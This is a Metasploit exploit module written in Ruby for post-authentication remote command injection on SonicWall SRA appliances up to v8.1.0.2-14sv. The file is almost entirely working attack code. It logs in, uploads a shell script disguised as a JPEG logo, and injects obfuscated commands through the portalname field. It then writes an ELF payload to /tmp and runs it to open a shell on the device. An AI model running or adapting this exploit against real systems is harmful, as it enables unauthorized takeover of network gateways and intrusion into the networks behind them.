# Exploit Title: Sonicwall importlogo/sitecustomization CGI Remote Command Injection Vulnerablity
# Date: 12/25/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sonicwall.com
# Software Link: sonicwall.com/products/sra-virtual-appliance
# Version: 8.1.0.2-14sv
# Tested on: 8.1.0.2-14sv
#
# CVE : (awaiting cve)
# vuln1: importlogo.cgi / logo1 parameter (any contents can be uploaded)
# vuln2: sitecustomization.cgi / portalname (filename) parameter
# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.
#
# xort @ Critical Start
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv remote exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in
a section of the machine's adminstrative infertface for performing configurations
related to on-connect scripts to be launched for users's connecting.
},
'Author' =>
[
'xort@Critical Start', # vuln + metasploit module
],
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(443),
], self.class)
end
def do_login(username, password_clear)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-bin/userLogin",
'headers' => {
'Connection' => 'close',
'Content-Type' => 'application/x-www-form-urlencoded',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
},
'vars_post' => {
'username' => username,
'password' => password_clear,
'domain' => 'LocalDomain',
'loginButton' => 'Login',
'state' => 'login',
'login' => 'true',
'VerifyCert' => '0',
'portalname' => 'VirtualOffice',
'ajax' => 'true'
},
}, timeout)
swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
return swap
end
def upload_payload(swap_cookie, file_data)
vprint_status( "Upload Payload..." )
# vars
timeout = 1550;
upload_req = [
[ "portalName","VirtualOffice" ],
[ "defaultLogo","0" ],
[ "uiVersion","2" ],
[ "bannerBackground", "light" ]
]
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
post_data = ""
# assemble upload_req parms
upload_req.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
# add malicious file
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"logo1\"; filename=\"x.jpg\"\r\n"
post_data << "Content-Type: image/jpeg\r\n\r\n"
post_data << "#{file_data}\r\n"
post_data << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/importlogo?uploadId=1",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Cookie' => 'swap='+swap_cookie+';',
}
}, timeout)
end
def run_command(swap_cookie, cmd)
vprint_status( "Running Command...\n" )
# vars
timeout = 1550;
vprint_status("creating filename on target: #{cmd}\n")
upload_req = [
[ "portalname", cmd ],
[ "portaltitle","Virtual Office" ],
[ "bannertitle","Virtual Office" ],
[ "bannermessage","<h1>Dell Sonicwall</h1>" ],
[ "portalUrl","https://192.168.84.155/portal/xxx" ],
[ "loginflag","on" ],
[ "bannerflag","on" ],
[ "httpOnlyCookieFlag","on" ],
[ "cachecontrol","on" ],
[ "uniqueness", "on" ],
[ "duplicateLoginAction", "1" ],
[ "livetilesmalllogo", "" ],
[ "livetilemediumlogo", "" ],
[ "livetilewidelogo", "" ],
[ "livetilelargelogo", "" ],
[ "livetilebackground", "#0085C3" ],
[ "livetilename", "" ],
[ "home2page", "on" ],
[ "allowNetExtender", "on" ],
[ "virtualpassagepage", "on" ],
[ "cifsdirectpage", "on" ],
[ "cifspage", "on" ],
[ "cifsappletpage", "on" ],
[ "cifsapplet", "on" ],
[ "cifsdefaultfilesharepath", "" ],
[ "home3page", "on" ],
[ "showAllBookmarksTab", "on" ],
[ "showDefaultTabs", "on" ],
[ "showCopyright", "on" ],
[ "showSidebar", "on" ],
[ "showUserPortalHelpButton", "on" ],
[ "userPortalHelpURL", "" ],
[ "showUserPortalOptionsButton", "on" ],
[ "homemessage", "<h1>Welcome to the Dell SonicWALL Virtual Office</h1>" ],
[ "hptabletitle", "Virtual Office Bookmarks" ],
[ "vhostName", "www.#{Rex::Text.rand_text_hex(32)}.com" ],
[ "vhostAlias", "" ],
[ "vhostInterface", "ALL" ],
[ "vhostEnableKeepAlive", "on" ],
[ "cdssodn", ".yahoo.com" ],
[ "enableSSLForwardSecrecy", "0" ],
[ "enableSSLProxyVerify", "0" ],
[ "sslProxyProtocol", "0" ],
[ "loginSchedule", "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ],
[ "formsection", "main" ],
[ "doAdd", "1" ],
[ "cgiaction", "1" ],
[ "themename", "stylesonicwall" ],
[ "onlinehelp", "" ],
[ "tmp_currentVhostName", "" ],
[ "tmp_currentVhostAlias", "" ],
[ "tmp_currentVhostInterface", "ALL" ],
[ "tmp_currentVhostIp", "" ],
[ "tmp_currentVhostIPv6", "" ],
[ "tmp_currentVhostEnableHTTP", "0" ],
[ "tmp_currentVhostEnableKeepAlive", "1" ],
[ "tmp_currentVhostCert", "" ],
[ "tmp_currEnforceSSLProxyProtocol", "0" ],
[ "tmp_currSSLProxyProtocol", "0" ],
[ "tmp_currEnableSSLProxyVerify", "0" ],
[ "tmp_currEnableSSLForwardSecrecy", "0" ],
[ "tmp_currentVhostOffloadRewrite", "" ],
[ "restartWS", "1" ],
[ "reuseFavicon", "" ],
[ "oldReuseFavicon", "" ],
]
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
post_data = ""
# assemble upload_req parms
upload_req.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
post_data << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/sitecustomization",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Cookie' => 'swap='+swap_cookie+';',
}
}, timeout)
end
def run_command_file(swap_cookie)
# use prefix so exploit can be re-used (unique portalname requirment)
prefix = Rex::Text.rand_text_numeric(5)
run_command(swap_cookie, "#{prefix}$({find,$({perl,-e,'print(chr(0x2f))'}),-name,VirtualOffice.gif,-exec,cp,{},qz,$({perl,-e,'print(chr(0x3b))'})})")
run_command(swap_cookie, "#{prefix}$({chmod,777,qz})")
run_command(swap_cookie, "#{prefix}$({sh,-c,.$({perl,-e,'print(chr(0x2f))'})qz})")
end
def exploit
# timeout
timeout = 1550;
# params
password_clear = datastore['PASSWORD']
user = datastore['USERNAME']
# do authentication
swap_cookie = do_login(user, password_clear)
vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
# pause to let things run smoothly
#sleep(5)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
upload_payload(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
upload_payload(swap_cookie, ("#!/bin/bash\necho -e \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m; /tmp/m"))
run_command_file(swap_cookie)
# wait for magic
handler
end
end
end